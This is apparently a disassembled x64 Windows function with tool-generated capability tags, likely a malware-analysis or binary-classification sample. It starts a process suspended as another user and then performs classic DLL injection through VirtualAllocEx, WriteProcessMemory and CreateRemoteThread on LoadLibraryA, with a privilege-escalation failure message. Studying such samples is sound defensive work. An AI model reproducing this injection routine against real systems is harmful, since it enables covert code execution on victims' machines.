Function at 0x1400085b0
Capabilities:
Create process on windows
Create thread
Inject dll
Inject thread
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x14002e010]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
xor r12d, r12d
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.1400101a0
nop
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400085fd
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.14000d3c0
mov rbx, rax
mov rcx, rax
call fcn.1400034f0
lea rcx, [rbp - 0x40]
call fcn.140004ed0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov rcx, rbx
call fcn.1400035d0
nop
lea rcx, [rsp + 0x60]
call fcn.140002d30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x60]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000866b
lea rcx, str.Privilege_escalation_failed_
call fcn.140001070
jmp 0x140008876
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x1c], xmm1
movups xmmword [rbp - 0xc], xmm1
movups xmmword [rbp + 4], xmm1
movups xmmword [rbp + 0x14], xmm1
movups xmmword [rbp + 0x24], xmm1
movups xmmword [rbp + 0x34], xmm1
mov qword [rbp + 0x44], rax
mov dword [rbp + 0x4c], eax
mov dword [rbp - 0x20], 0x70
lea rcx, [rbp - 0x40]
call fcn.140002d10
mov rbx, rax
mov rcx, rdi
call fcn.140004eb0
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0x80004
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x140008876
lea rdx, [rbp - 0x80]
mov rcx, rsi
call fcn.140006290
mov rdi, rax
mov r14, qword [rbp - 0x58]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008843
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140008843
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140008750
mov rcx, qword [rdi]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x140008760
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140008843
cmp qword [rdi + 0x18], 0x10
jb 0x1400087b0
mov rcx, qword [rdi]
nop dword [rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x1400087a0
mov rdi, rcx
jmp 0x1400087b9
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1400087b0
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8, rdi
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140008843
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rsi
mov r9, r15
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x140008813
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140008843
mov edx, 0x7d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000883a
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x80]
call fcn.140002d30
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x40]
call fcn.140002d30
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.14001ff20
add rsp, 0x160
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret